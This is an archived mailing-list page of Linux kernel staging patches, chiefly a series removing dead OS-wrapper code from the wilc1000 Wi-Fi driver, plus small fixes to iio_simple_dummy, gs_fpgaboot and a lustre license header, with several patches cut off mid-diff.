WILC_Char *pcStr1, const WILC_Char *pcStr2, return s32Result; } -/* - * @authorsyounan - * @date 1 Nov 2010 - * @version 2.0 - */ -WILC_Sint32 WILC_strcmp_IgnoreCase(const WILC_Char *pcStr1, const WILC_Char *pcStr2) -{ - WILC_Sint32 s32Result; - - if (pcStr1 == WILC_NULL && pcStr2 == WILC_NULL) { - s32Result = 0; - } else if (pcStr1 == WILC_NULL){ - s32Result = -1; - } else if (pcStr2 == WILC_NULL){ - s32Result = 1; -
[PATCH 08/16] staging: wilc1000: remove unused memory handling code
The driver contains its own abstraction for memory allocation, most of it unused. This removes the unused parts, but the rest should also be removed later. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_memory.c| 5 -- drivers/staging/wilc1000/wilc_memory.h| 93 --- drivers/staging/wilc1000/wilc_osconfig.h | 3 - drivers/staging/wilc1000/wilc_oswrapper.h | 2 - drivers/staging/wilc1000/wilc_platform.h | 13 - 5 files changed, 116 deletions(-) diff --git a/drivers/staging/wilc1000/wilc_memory.c b/drivers/staging/wilc1000/wilc_memory.c index cf0976b443b8..fbba38da19bc 100644 --- a/drivers/staging/wilc1000/wilc_memory.c +++ b/drivers/staging/wilc1000/wilc_memory.c @@ -1,9 +1,6 @@ #include "wilc_oswrapper.h" -#ifdef CONFIG_WILC_MEMORY_FEATURE - - /*! * @authorsyounan * @date 18 Aug 2010 @@ -59,5 +56,3 @@ void WILC_MemoryFree(void *pvBlock, tstrWILC_MemoryAttrs *strAttrs, { kfree(pvBlock); } - -#endif diff --git a/drivers/staging/wilc1000/wilc_memory.h b/drivers/staging/wilc1000/wilc_memory.h index 1e45641af454..012f03cae0c8 100644 --- a/drivers/staging/wilc1000/wilc_memory.h +++ b/drivers/staging/wilc1000/wilc_memory.h @@ -10,10 +10,6 @@ * @version 1.0 */ -#ifndef CONFIG_WILC_MEMORY_FEATURE -#error the feature CONFIG_WILC_MEMORY_FEATURE must be supported to include this file -#endif - /*! * @struct tstrWILC_MemoryAttrs * @brief Memory API options @@ -22,33 +18,9 @@ * @version 1.0 */ typedef struct { - #ifdef CONFIG_WILC_MEMORY_POOLS - /*!< the allocation pool to use for this memory, NULL for system -* allocation. Default is NULL -*/ - WILC_MemoryPoolHandle *pAllocationPool; - #endif - - /* a dummy member to avoid compiler errors*/ - WILC_Uint8 dummy; } tstrWILC_MemoryAttrs; /*! - * @brief Fills the tstrWILC_MemoryAttrs with default parameters - * @param[out]pstrAttrs structure to be filled - * @satstrWILC_MemoryAttrs - * @authorsyounan - * @date 16 Aug 2010 - * @version 1.0 - */ -static void WILC_MemoryFillDefault(tstrWILC_MemoryAttrs *pstrAttrs) -{ - #ifdef CONFIG_WILC_MEMORY_POOLS - pstrAttrs->pAllocationPool = WILC_NULL; - #endif -} - -/*! * @brief Allocates a given size of bytes * @param[in] u32Size size of memory in bytes to be allocated * @param[in] strAttrs Optional attributes, NULL for default @@ -145,69 +117,6 @@ void WILC_MemoryFree(void *pvBlock, tstrWILC_MemoryAttrs *strAttrs, WILC_Char *pcFileName, WILC_Uint32 u32LineNo); /*! - * @brief Creates a new memory pool - * @param[out]pHandle the handle to the new Pool - * @param[in] u32PoolSize The pool size in bytes - * @param[in] strAttrs Optional attributes, NULL for default - * @returnError code indicating sucess/failure - * @sasttrWILC_MemoryAttrs - * @authorsyounan - * @date 16 Aug 2010 - * @version 1.0 - */ -WILC_ErrNo WILC_MemoryNewPool(WILC_MemoryPoolHandle *pHandle, WILC_Uint32 u32PoolSize, - tstrWILC_MemoryAttrs *strAttrs); - -/*! - * @brief Deletes a memory pool, freeing all memory allocated from it as well - * @param[in] pHandle the handle to the deleted Pool - * @param[in] strAttrs Optional attributes, NULL for default - * @returnError code indicating sucess/failure - * @sasttrWILC_MemoryAttrs - * @authorsyounan - * @date 16 Aug 2010 - * @version 1.0 - */ -WILC_ErrNo WILC_MemoryDelPool(WILC_MemoryPoolHandle *pHandle, tstrWILC_MemoryAttrs *strAttrs); - - -#ifdef CONFIG_WILC_MEMORY_DEBUG - -/*! - * @brief standrad malloc wrapper with custom attributes - */ - #define WILC_MALLOC_EX(__size__, __attrs__) \ - (WILC_MemoryAlloc( \ -(__size__), __attrs__, \ -(WILC_Char *)__WILC_FILE__, (WILC_Uint32)__WILC_LINE__)) - -/*! - * @brief standrad calloc wrapper with custom attributes - */ - #define WILC_CALLOC_EX(__size__, __attrs__) \ - (WILC_MemoryCalloc( \ -(__size__), __attrs__, \ -(WILC_Char *)__WILC_FILE__, (WILC_Uint32)__WILC_LINE__)) - -/*! - * @brief standrad realloc wrapper with custom attributes - */ - #define WILC_REALLOC_EX(__ptr__, __new_size__, __attrs__) \ - (WILC_MemoryRealloc( \ -(__ptr__), (__new_size__), __attrs__, \ -(WILC_Char *)__WILC_FILE__, (WILC_Uint32)__WILC_LINE__)) - -/*! - * @brief standrad free wrapper with custom attributes - */ - #define WILC_FREE_EX(__ptr__, __attrs__) \ - (WILC_MemoryFree( \ -(__ptr__), __attrs__, \ -(WILC_Char *)__WILC_FILE__, (WILC_Uint32)__WILC_LINE__)) - -#else - -/*! * @brief standrad malloc wrapper with custom attributes */ #define WILC_MALLOC_EX(__size__
[PATCH 14/16] staging: wilc1000: remove semaphore wrapper
The various semaphore functions all directly translate into sema_init(), down() and up(), so we can just remove the API. This is a mostly automated conversion using simple sed scripts, plus some manual changes to account for down() returning no error. As a positive side-effect, down() no longer hangs after receiving a signal, as the original code did by looping around down_interruptible. The semaphores still need to be turned into mutexes as a follow-up step. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/coreconfigurator.c | 29 +--- drivers/staging/wilc1000/fifo_buffer.c| 108 +++--- drivers/staging/wilc1000/fifo_buffer.h| 2 +- drivers/staging/wilc1000/host_interface.c | 171 +- drivers/staging/wilc1000/host_interface.h | 16 +- drivers/staging/wilc1000/wilc_msgqueue.c | 32 ++-- drivers/staging/wilc1000/wilc_oswrapper.h | 3 - drivers/staging/wilc1000/wilc_platform.h | 4 +- drivers/staging/wilc1000/wilc_semaphore.c | 56 --- drivers/staging/wilc1000/wilc_semaphore.h | 99 - drivers/staging/wilc1000/wilc_wfi_cfgoperations.c | 35 ++--- drivers/staging/wilc1000/wilc_wfi_netdevice.h | 4 +- 12 files changed, 160 insertions(+), 399 deletions(-) delete mode 100644 drivers/staging/wilc1000/wilc_semaphore.c delete mode 100644 drivers/staging/wilc1000/wilc_semaphore.h diff --git a/drivers/staging/wilc1000/coreconfigurator.c b/drivers/staging/wilc1000/coreconfigurator.c index d5a076ed2426..bf444825711f 100644 --- a/drivers/staging/wilc1000/coreconfigurator.c +++ b/drivers/staging/wilc1000/coreconfigurator.c @@ -164,8 +164,8 @@ extern void host_int_ScanCompleteReceived(WILC_Uint8 *pu8Buffer, WILC_Uint32 u32 /*/ /* Global Variables */ /*/ -static WILC_SemaphoreHandle SemHandleSendPkt; -static WILC_SemaphoreHandle SemHandlePktResp; +static struct semaphore SemHandleSendPkt; +static struct semaphore SemHandlePktResp; static WILC_Sint8 *gps8ConfigPacket; @@ -672,18 +672,10 @@ INLINE WILC_Uint16 get_asoc_id(WILC_Uint8 *data) WILC_Sint32 CoreConfiguratorInit(void) { WILC_Sint32 s32Error = WILC_SUCCESS; - tstrWILC_SemaphoreAttrs strSemSendPktAttrs; - tstrWILC_SemaphoreAttrs strSemPktRespAttrs; - PRINT_D(CORECONFIG_DBG, "CoreConfiguratorInit() \n"); - WILC_SemaphoreFillDefault(&strSemSendPktAttrs); - strSemSendPktAttrs.u32InitCount = 1; - WILC_SemaphoreCreate(&SemHandleSendPkt, &strSemSendPktAttrs); - - WILC_SemaphoreFillDefault(&strSemPktRespAttrs); - strSemPktRespAttrs.u32InitCount = 0; - WILC_SemaphoreCreate(&SemHandlePktResp, &strSemPktRespAttrs); + sema_init(&SemHandleSendPkt, 1); + sema_init(&SemHandlePktResp, 0); gps8ConfigPacket = (WILC_Sint8 *)WILC_MALLOC(MAX_PACKET_BUFF_SIZE); if (gps8ConfigPacket == NULL) { @@ -1931,7 +1923,7 @@ WILC_Sint32 ConfigWaitResponse(WILC_Char *pcRespBuffer, WILC_Sint32 s32MaxRespBu if (gstrConfigPktInfo.bRespRequired == WILC_TRUE) { - WILC_SemaphoreAcquire(&SemHandlePktResp, WILC_NULL); + down(&SemHandlePktResp); *ps32BytesRead = gstrConfigPktInfo.s32BytesRead; } @@ -1964,7 +1956,7 @@ WILC_Sint32 SendConfigPkt(WILC_Uint8 u8Mode, tstrWID *pstrWIDs, WILC_Sint32 s32ConfigPacketLen = 0; WILC_Sint32 s32RcvdRespLen = 0; - WILC_SemaphoreAcquire(&SemHandleSendPkt, WILC_NULL); + down(&SemHandleSendPkt); /*set the packet mode*/ g_oper_mode = u8Mode; @@ -2019,7 +2011,7 @@ WILC_Sint32 SendConfigPkt(WILC_Uint8 u8Mode, tstrWID *pstrWIDs, End_ConfigPkt: - WILC_SemaphoreRelease(&SemHandleSendPkt, WILC_NULL); + up(&SemHandleSendPkt); return s32Error; } @@ -2038,7 +2030,7 @@ WILC_Sint32 ConfigProvideResponse(WILC_Char *pcRespBuffer, WILC_Sint32 s32RespLe PRINT_ER("BusProvideResponse() Response greater than the prepared Buffer Size \n"); } - WILC_SemaphoreRelease(&SemHandlePktResp, WILC_NULL); + up(&SemHandlePktResp); } return s32Error; @@ -2107,11 +2099,6 @@ WILC_Sint32 CoreConfiguratorDeInit(void) PRINT_D(CORECONFIG_DBG, "CoreConfiguratorDeInit() \n"); - - WILC_SemaphoreDestroy(&SemHandleSendPkt, WILC_NULL); - WILC_SemaphoreDestroy(&SemHandlePktResp, WILC_NULL); - - if (gps8ConfigPacket != NULL) { WILC_FREE(gps8ConfigPacket); diff --git a/drivers/staging/wilc1000/fifo_buffer.c b/drivers/staging/wilc1000/fifo_buffer.c index 733d81f2eeca..e23d11130728 100644 --- a/drivers/staging/wilc1000/fifo_buffer.c +++ b/drivers/staging/wilc1000/fifo_buff
[PATCH 00/16] wilc1000: dead code removal and other cleanup
Hi Greg, This turned out to be more work than the first version, but I think I've split it up enough sensibly to allow review, and I've added a few more patches at the end. Arnd Arnd Bergmann (16): staging: wilc1000: remove linux version checks staging: wilc1000: remove platform version checks staging: wilc1000: remove thread wrapper staging: wilc1000: remove __DRIVER_VERSION__ macro staging: wilc1000: remove time wrapper staging: wilc1000: remove unused string functions staging: wilc1000: simplify msgqueue code staging: wilc1000: remove unused memory handling code staging: wilc1000: simplify semaphore wrapper staging: wilc1000: clean up sleep wrapper staging: wilc1000: clean up timer feature staging: wilc1000: remove unused OS abstraction features staging: wilc1000: remove EXPORT_SYMTAB staging: wilc1000: remove semaphore wrapper staging: wilc1000: fix const cast warnings staging: wilc1000: fix compiler warnings drivers/staging/wilc1000/Makefile | 13 +- drivers/staging/wilc1000/coreconfigurator.c | 31 +- drivers/staging/wilc1000/fifo_buffer.c| 108 ++--- drivers/staging/wilc1000/fifo_buffer.h| 2 +- drivers/staging/wilc1000/host_interface.c | 219 - drivers/staging/wilc1000/host_interface.h | 40 +- drivers/staging/wilc1000/linux_mon.c | 2 +- drivers/staging/wilc1000/linux_wlan.c | 98 +--- drivers/staging/wilc1000/linux_wlan_spi.c | 3 - drivers/staging/wilc1000/wilc_errorsupport.h | 17 - drivers/staging/wilc1000/wilc_event.h | 123 - drivers/staging/wilc1000/wilc_memory.c| 7 +- drivers/staging/wilc1000/wilc_memory.h| 95 +--- drivers/staging/wilc1000/wilc_msgqueue.c | 41 +- drivers/staging/wilc1000/wilc_msgqueue.h | 30 -- drivers/staging/wilc1000/wilc_osconfig.h | 46 -- drivers/staging/wilc1000/wilc_oswrapper.h | 61 --- drivers/staging/wilc1000/wilc_platform.h | 131 +- drivers/staging/wilc1000/wilc_semaphore.c | 70 --- drivers/staging/wilc1000/wilc_semaphore.h | 115 - drivers/staging/wilc1000/wilc_sleep.c | 18 - drivers/staging/wilc1000/wilc_sleep.h | 30 +- drivers/staging/wilc1000/wilc_spi.c | 4 +- drivers/staging/wilc1000/wilc_strutils.c | 351 -- drivers/staging/wilc1000/wilc_strutils.h | 282 drivers/staging/wilc1000/wilc_thread.c| 35 -- drivers/staging/wilc1000/wilc_thread.h| 153 --- drivers/staging/wilc1000/wilc_time.c | 163 --- drivers/staging/wilc1000/wilc_time.h | 205 - drivers/staging/wilc1000/wilc_timer.c | 6 - drivers/staging/wilc1000/wilc_timer.h | 27 -- drivers/staging/wilc1000/wilc_wfi_cfgoperations.c | 533 +- drivers/staging/wilc1000/wilc_wfi_cfgoperations.h | 9 +- drivers/staging/wilc1000/wilc_wfi_netdevice.h | 12 +- drivers/staging/wilc1000/wilc_wlan.c | 6 +- 35 files changed, 226 insertions(+), 2860 deletions(-) delete mode 100644 drivers/staging/wilc1000/wilc_event.h delete mode 100644 drivers/staging/wilc1000/wilc_semaphore.c delete mode 100644 drivers/staging/wilc1000/wilc_semaphore.h delete mode 100644 drivers/staging/wilc1000/wilc_thread.c delete mode 100644 drivers/staging/wilc1000/wilc_thread.h delete mode 100644 drivers/staging/wilc1000/wilc_time.c delete mode 100644 drivers/staging/wilc1000/wilc_time.h -- 2.1.0.rc2 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 12/16] staging: wilc1000: remove unused OS abstraction features
All the remaining features from the OS abstraction layer are not used at all in the driver, so we can just remove the remaining references to them. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/wilc_errorsupport.h | 17 drivers/staging/wilc1000/wilc_event.h| 123 --- drivers/staging/wilc1000/wilc_osconfig.h | 14 --- drivers/staging/wilc1000/wilc_oswrapper.h| 22 - drivers/staging/wilc1000/wilc_platform.h | 62 -- 5 files changed, 238 deletions(-) delete mode 100644 drivers/staging/wilc1000/wilc_event.h diff --git a/drivers/staging/wilc1000/wilc_errorsupport.h b/drivers/staging/wilc1000/wilc_errorsupport.h index 6405ef8ad431..4da657d17020 100644 --- a/drivers/staging/wilc1000/wilc_errorsupport.h +++ b/drivers/staging/wilc1000/wilc_errorsupport.h @@ -64,21 +64,4 @@ typedef WILC_Sint32 WILC_ErrNo; ERRORHANDLER: \ if (WILC_IS_ERR(__status__)) \ -#ifdef CONFIG_WILC_ASSERTION_SUPPORT - -/** - * @brief prints a diagnostic message and aborts the program - * @param[in] pcExpression The expression that triggered the assertion - * @param[in] pcFileName The name of the current source file. - * @param[in] u32LineNumber The line number in the current source file. - * @warning DO NOT CALL DIRECTLY. USE EQUIVALENT MACRO FUNCTION INSTEAD. - */ -void WILC_assert_INTERNAL(WILC_Char *pcExpression, WILC_Char *pcFileName, WILC_Uint32 u32LineNumber); - -#define WILC_assert(__expression__) (void)(!!(__expression__) || (WILC_assert_INTERNAL((# __expression__), __WILC_FILE__, __WILC_LINE__), 0)) - -#else -#define WILC_assert(__expression__) ((void)0) -#endif - #endif diff --git a/drivers/staging/wilc1000/wilc_event.h b/drivers/staging/wilc1000/wilc_event.h deleted file mode 100644 index 94e0f7c0bed5.. --- a/drivers/staging/wilc1000/wilc_event.h +++ /dev/null @@ -1,123 +0,0 @@ -#ifndef __WILC_EVENT_H__ -#define __WILC_EVENT_H__ - -/*! - * @file wilc_event.h - * @brief Event OS wrapper functionality - * @authorsyounan - * @sawilc_oswrapper.h top level OS wrapper file - * @date 10 Oct 2010 - * @version 1.0 - */ - -#ifndef CONFIG_WILC_EVENT_FEATURE -#error the feature CONFIG_WILC_EVENT_FEATURE must be supported to include this file -#endif - - -/*! - * @struct tstrWILC_TimerAttrs - * @brief Timer API options - * @authorsyounan - * @date 10 Oct 2010 - * @version 1.0 - */ -typedef struct { - /* a dummy member to avoid compiler errors*/ - WILC_Uint8 dummy; - - #ifdef CONFIG_WILC_EVENT_TIMEOUT - /*!< -* Timeout for use with WILC_EventWait, 0 to return immediately and -* WILC_OS_INFINITY to wait forever. default is WILC_OS_INFINITY -*/ - WILC_Uint32 u32TimeOut; - #endif - -} tstrWILC_EventAttrs; - -/*! - * @brief Fills the WILC_TimerAttrs with default parameters - * @param[out]pstrAttrs structure to be filled - * @saWILC_TimerAttrs - * @authorsyounan - * @date 10 Oct 2010 - * @version 1.0 - */ -static void WILC_EventFillDefault(tstrWILC_EventAttrs *pstrAttrs) -{ - #ifdef CONFIG_WILC_EVENT_TIMEOUT - pstrAttrs->u32TimeOut = WILC_OS_INFINITY; - #endif -} - -/*! - * @brief Creates a new Event - * @details the Event is an object that allows a thread to wait until an external - * event occuers, Event objects have 2 states, either TRIGGERED or - * UNTRIGGERED - * @param[out]pHandle handle to the newly created event object - * @param[in] pstrAttrs Optional attributes, NULL for default - * @returnError code indicating sucess/failure - * @satstrWILC_EventAttrs - * @authorsyounan - * @date 10 Oct 2010 - * @version 1.0 - */ -WILC_ErrNo WILC_EventCreate(WILC_EventHandle *pHandle, tstrWILC_EventAttrs *pstrAttrs); - - -/*! - * @brief Destroys a given event - * @details This will destroy a given event freeing any resources used by it - * if there are any thread blocked by the WILC_EventWait call the the - * behaviour is undefined - * @param[in] pHandle handle to the event object - * @param[in] pstrAttrs Optional attributes, NULL for default - * @returnError code indicating sucess/failure - * @satstrWILC_EventAttrs - * @authorsyounan - * @date 10 Oct 2010 - * @version 1.0 - */ -WILC_ErrNo WILC_EventDestroy(WILC_EventHandle *pHandle, -tstrWILC_EventAttrs *pstrAttrs); - -/*! - * @brief Triggers a given event - * @details This function will set the given event into the TRIGGERED state, - * if the event is already in TRIGGERED, this function will have no - * effect - * @param[in] pHandle handle to the event object - * @param[in] pstrAttrs Optional attributes, NULL
[PATCH 01/16] staging: wilc1000: remove linux version checks
For code that is integrated into mainline Linux, checks for the kernel version make no sense, because we know which version we are compiling against. This removes all checks and the associated dead code. Signed-off-by: Arnd Bergmann --- drivers/staging/wilc1000/linux_wlan.c | 88 +--- drivers/staging/wilc1000/wilc_sleep.c | 8 - drivers/staging/wilc1000/wilc_wfi_cfgoperations.c | 486 +- drivers/staging/wilc1000/wilc_wfi_cfgoperations.h | 7 +- drivers/staging/wilc1000/wilc_wfi_netdevice.h | 8 - 5 files changed, 5 insertions(+), 592 deletions(-) diff --git a/drivers/staging/wilc1000/linux_wlan.c b/drivers/staging/wilc1000/linux_wlan.c index 18f1bd00201a..3f8b3c54f196 100644 --- a/drivers/staging/wilc1000/linux_wlan.c +++ b/drivers/staging/wilc1000/linux_wlan.c @@ -180,7 +180,6 @@ linux_wlan_t *g_linux_wlan; wilc_wlan_oup_t *gpstrWlanOps; WILC_Bool bEnablePS = WILC_TRUE; -#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0) static const struct net_device_ops wilc_netdev_ops = { .ndo_init = mac_init_fn, .ndo_open = mac_open, @@ -191,37 +190,7 @@ static const struct net_device_ops wilc_netdev_ops = { .ndo_set_rx_mode = wilc_set_multicast_list, }; -#define wilc_set_netdev_ops(ndev) do { (ndev)->netdev_ops = &wilc_netdev_ops; } while (0) -#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 29) -static const struct net_device_ops wilc_netdev_ops = { - .ndo_init = mac_init_fn, - .ndo_open = mac_open, - .ndo_stop = mac_close, - .ndo_start_xmit = mac_xmit, - .ndo_do_ioctl = mac_ioctl, - .ndo_get_stats = mac_stats, - .ndo_set_multicast_list = wilc_set_multicast_list, - -}; - -#define wilc_set_netdev_ops(ndev) do { (ndev)->netdev_ops = &wilc_netdev_ops; } while (0) - -#else - -static void wilc_set_netdev_ops(struct net_device *ndev) -{ - - ndev->init = mac_init_fn; - ndev->open = mac_open; - ndev->stop = mac_close; - ndev->hard_start_xmit = mac_xmit; - ndev->do_ioctl = mac_ioctl; - ndev->get_stats = mac_stats; - ndev->set_multicast_list = wilc_set_multicast_list, -} - -#endif #ifdef DEBUG_MODE extern volatile int timeNo; @@ -594,12 +563,7 @@ static void linux_wlan_msleep(uint32_t msc) { if (msc <= 400) { WILC_Uint32 u32Temp = msc * 1000; -#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 35) usleep_range(u32Temp, u32Temp); -#else - /* This is delay not sleep !!!, has to be changed*/ - msleep(msc); -#endif } else { msleep(msc); } @@ -2195,7 +2159,6 @@ struct net_device_stats *mac_stats(struct net_device *dev) } /* Setup the multicast filter */ -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 34) static void wilc_set_multicast_list(struct net_device *dev) { @@ -2251,55 +2214,6 @@ static void wilc_set_multicast_list(struct net_device *dev) } -#else - -static void wilc_set_multicast_list(struct net_device *dev) -{ - /* BIG Warning, Beware : Uncompiled, untested... */ - struct dev_mc_list *mc_ptr; - int i = 0; - - if (!dev) - return; - - PRINT_D(INIT_DBG, "Setting Multicast List. \n"); - PRINT_D(INIT_DBG, "dev->mc_count = %d\n", dev->mc_count); - - if (dev->flags & IFF_PROMISC) { - /* Normally, we should configure the chip to retrive all packets -* but we don't wanna support this right now */ - /* TODO: add promiscuous mode support */ - PRINT_D(INIT_DBG, "Set promiscuous mode ON, retrive all packets \n"); - return; - } - - /* If there's more addresses than we handle, get all multicast -* packets and sort them out in software. */ - if ((dev->flags & IFF_ALLMULTI) || (dev->mc_count > WILC_MULTICAST_TABLE_SIZE)) { - PRINT_D(INIT_DBG, "Disable multicast filter, retrive all multicast packets\n"); - host_int_setup_multicast_filter((WILC_WFIDrvHandle)gWFiDrvHandle, WILC_FALSE, 0); - return; - } - - /* No multicast? Just get our own stuff */ - if (dev->mc_count == 0) { - PRINT_D(INIT_DBG, "Enable multicast filter, retrive directed packets only.\n"); - host_int_setup_multicast_filter((WILC_WFIDrvHandle)gWFiDrvHandle, WILC_TRUE, 0); - return; - } - - /* Store all of the multicast addresses in the hardware filter */ - - for (mc_ptr = dev->mc_list; mc_ptr; mc_ptr = mc_ptr->next, i++) { - WILC_memcpy(gau8MulticastMacAddrList[i], mc_ptr->dmi_addr, ETH_ALEN) - i++; - } - - host_int_setup_multicast_filter((WILC_WFIDrvHandle)gWFiDrvHandle, WILC_TRUE, (dev->mc_count)); - -} -#endif - static void linux_wlan_tx_complete(void *priv, int status) { @@ -2765,7 +2679,7 @@ int wilc_netdev_init(void) nic->wilc_netdev = nd
Re: [PATCHv3] staging: gs_fpgaboot: remove redundant code
On Thu, May 28, 2015 at 03:43:42PM +0300, Dan Carpenter wrote: > On Thu, May 28, 2015 at 12:08:56PM +, Gujulan Elango, Hari Prasath (H.) > wrote: > > remove redundant code in this function.remove return value check for > > function that always return success > > > > Signed-off-by: Gujulan Elango Hari Prasath > > Looks good. Thanks! > > regards, > dan carpenter > Reviewed-by: Insop Song Looks good to me. Thank you. ISS ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH v2 1/3] staging: iio_simple_dummy: fix init function
This patch fixes the init function for the iio_simple_dummy driver. The main issues were absence of kfree for the allocated array, and no devices being removed in case the probe function fails, running in a loop. Signed-off-by: Vladimirs Ambrosovs --- drivers/staging/iio/iio_simple_dummy.c | 9 - 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/drivers/staging/iio/iio_simple_dummy.c b/drivers/staging/iio/iio_simple_dummy.c index b47bf9f..d0a9963 100644 --- a/drivers/staging/iio/iio_simple_dummy.c +++ b/drivers/staging/iio/iio_simple_dummy.c @@ -722,9 +722,16 @@ static __init int iio_dummy_init(void) for (i = 0; i < instances; i++) { ret = iio_dummy_probe(i); if (ret < 0) - return ret; + goto error_remove_devs; } return 0; + +error_remove_devs: + while (i--) + iio_dummy_remove(i); + + kfree(iio_dummy_devs); + return ret; } module_init(iio_dummy_init); -- 2.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH v2 2/3] staging: iio_simple_dummy: fix return types
The functions iio_dummy_remove(), iio_simple_dummy_events_unregister() and iio_dummy_evgen_release_irq() were changed to return void instead of int, because these functions always return 0. Signed-off-by: Vladimirs Ambrosovs --- drivers/staging/iio/iio_dummy_evgen.c | 4 +--- drivers/staging/iio/iio_simple_dummy.c| 10 ++ drivers/staging/iio/iio_simple_dummy_events.c | 4 +--- 3 files changed, 4 insertions(+), 14 deletions(-) diff --git a/drivers/staging/iio/iio_dummy_evgen.c b/drivers/staging/iio/iio_dummy_evgen.c index 0c9c86d..c54d5b5 100644 --- a/drivers/staging/iio/iio_dummy_evgen.c +++ b/drivers/staging/iio/iio_dummy_evgen.c @@ -128,13 +128,11 @@ EXPORT_SYMBOL_GPL(iio_dummy_evgen_get_irq); * * Used by client driver instances to give the irqs back when they disconnect */ -int iio_dummy_evgen_release_irq(int irq) +void iio_dummy_evgen_release_irq(int irq) { mutex_lock(&iio_evgen->lock); iio_evgen->inuse[irq - iio_evgen->base] = false; mutex_unlock(&iio_evgen->lock); - - return 0; } EXPORT_SYMBOL_GPL(iio_dummy_evgen_release_irq); diff --git a/drivers/staging/iio/iio_simple_dummy.c b/drivers/staging/iio/iio_simple_dummy.c index d0a9963..dc9482c7 100644 --- a/drivers/staging/iio/iio_simple_dummy.c +++ b/drivers/staging/iio/iio_simple_dummy.c @@ -665,9 +665,8 @@ error_ret: * * Parameters follow those of iio_dummy_probe for buses. */ -static int iio_dummy_remove(int index) +static void iio_dummy_remove(int index) { - int ret; /* * Get a pointer to the device instance iio_dev structure * from the bus subsystem. E.g. @@ -685,15 +684,10 @@ static int iio_dummy_remove(int index) /* Buffered capture related cleanup */ iio_simple_dummy_unconfigure_buffer(indio_dev); - ret = iio_simple_dummy_events_unregister(indio_dev); - if (ret) - goto error_ret; + iio_simple_dummy_events_unregister(indio_dev); /* Free all structures */ iio_device_free(indio_dev); - -error_ret: - return ret; } /** diff --git a/drivers/staging/iio/iio_simple_dummy_events.c b/drivers/staging/iio/iio_simple_dummy_events.c index c32ef78..ecc563c 100644 --- a/drivers/staging/iio/iio_simple_dummy_events.c +++ b/drivers/staging/iio/iio_simple_dummy_events.c @@ -257,13 +257,11 @@ error_ret: * iio_simple_dummy_events_unregister() - tidy up interrupt handling on remove * @indio_dev: device instance data */ -int iio_simple_dummy_events_unregister(struct iio_dev *indio_dev) +void iio_simple_dummy_events_unregister(struct iio_dev *indio_dev) { struct iio_dummy_state *st = iio_priv(indio_dev); free_irq(st->event_irq, indio_dev); /* Not part of normal driver */ iio_dummy_evgen_release_irq(st->event_irq); - - return 0; } -- 2.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH v2 0/3] staging: iio_simple_dummy: minor driver fixes
v2 Fixed the code as per the comments from version 1: * Removed unnecessary comments * Fixed the label name to address label location * Changed the type of functions, which always return 0 to void Vladimirs Ambrosovs (3): staging: iio_simple_dummy: fix init function staging: iio_simple_dummy: fix return types staging: iio_simple_dummy: fix module_param type drivers/staging/iio/iio_dummy_evgen.c | 4 +--- drivers/staging/iio/iio_simple_dummy.c| 21 +++-- drivers/staging/iio/iio_simple_dummy_events.c | 4 +--- 3 files changed, 13 insertions(+), 16 deletions(-) -- 2.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH v2 3/3] staging: iio_simple_dummy: fix module_param type
Fix the module_param "instances" type to uint, since the variable type holding the value is unsigned. Signed-off-by: Vladimirs Ambrosovs --- drivers/staging/iio/iio_simple_dummy.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/staging/iio/iio_simple_dummy.c b/drivers/staging/iio/iio_simple_dummy.c index dc9482c7..1629a8a 100644 --- a/drivers/staging/iio/iio_simple_dummy.c +++ b/drivers/staging/iio/iio_simple_dummy.c @@ -30,7 +30,7 @@ * dummy devices are registered. */ static unsigned instances = 1; -module_param(instances, int, 0); +module_param(instances, uint, 0); /* Pointer array used to fake bus elements */ static struct iio_dev **iio_dummy_devs; -- 2.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging/lustre: Update header license for lustre_dlm_flags.h
From: Oleg Drokin lustre_dlm_flags.h was autogenerated with a wrong script that mistakenly stated it is GPLv3 when in fact it should be GPLv2. Also since we are no longer autogenerating this header, drop all such mentionings. Reported by: George G. Davis Signed-off-by: Oleg Drokin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6599 Reviewed-on: http://review.whamcloud.com/14797 Reviewed-by: Andreas Dilger CC: George G. Davis --- .../staging/lustre/lustre/include/lustre_dlm_flags.h| 17 - 1 file changed, 4 insertions(+), 13 deletions(-) diff --git a/drivers/staging/lustre/lustre/include/lustre_dlm_flags.h b/drivers/staging/lustre/lustre/include/lustre_dlm_flags.h index 16dcdbf..d4cc096 100644 --- a/drivers/staging/lustre/lustre/include/lustre_dlm_flags.h +++ b/drivers/staging/lustre/lustre/include/lustre_dlm_flags.h @@ -1,17 +1,10 @@ /* -*- buffer-read-only: t -*- vi: set ro: * - * DO NOT EDIT THIS FILE (lustre_dlm_flags.h) + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 only, + * as published by the Free Software Foundation. * - * It has been AutoGen-ed - * From the definitionslustre_dlm_flags.def - * and the template file lustre_dlm_flags.tpl - * - * lustre is free software: you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the - * Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * lustre is distributed in the hope that it will be useful, but + * Lustre is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. @@ -22,8 +15,6 @@ /** * \file lustre_dlm_flags.h * The flags and collections of flags (masks) for \see struct 